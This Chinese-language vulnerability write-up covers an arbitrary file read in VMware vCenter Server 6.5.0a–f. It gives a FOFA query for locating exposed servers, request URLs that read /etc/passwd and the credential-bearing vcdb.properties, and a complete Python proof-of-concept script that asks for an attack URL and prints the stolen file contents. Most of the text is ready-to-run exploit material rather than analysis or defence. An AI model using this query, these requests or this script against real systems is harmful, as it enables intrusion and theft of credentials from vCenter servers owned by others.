# VMware vCenter 任意文件读取漏洞 ## 漏洞描述 VMware vCenter特定版本存在任意文件读取漏洞,攻击者通过构造特定的请求,可以读取服务器上任意文件、 ## 漏洞影响 ``` VMware vCenter Server 6.5.0a- f 版本 ``` ## FOFA ``` title="ID_VC_Welcome" ``` ## 漏洞复现 ![image-20220209124210343](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091242446.png) 使用POC访问漏洞点 - Windows主机 ```plain http://xxx.xxx.xxx.xxx/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties ``` ![image-20220209124225730](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091242777.png) - Linux主机 ```plain https://xxx.xxx.xxx.xxx/eam/vib?id=/etc/passwd ``` ![image-20220209124241987](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091242060.png) ## 漏洞POC ```python import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: VMware vCenter任意文件读取漏洞 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url_windows = target_url + "/eam/vib?id=C:\ProgramData\VMware\\vCenterServer\cfg\\vmware-vpx\\vcdb.properties" vuln_url_linux = target_url + "/eam/vib?id=/etc/passwd" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response_linux = requests.get(url=vuln_url_linux, headers=headers, verify=False, timeout=5) response_windows = requests.get(url=vuln_url_windows, headers=headers, verify=False, timeout=5) if "password" in response_windows.text and response_windows.status_code == 200: print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 vcdb.properties \033[0m".format(target_url)) print("\033[32m[o] Windows系统, 响应为:\n{} \033[0m".format(response_windows.text)) elif "root" in response_linux.text and response_linux.status_code == 200: print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m".format(target_url)) print("\033[32m[o] Linux系统, 响应为:\n{} \033[0m".format(response_linux.text)) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url) ``` ![image-20220209124258448](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091242558.png)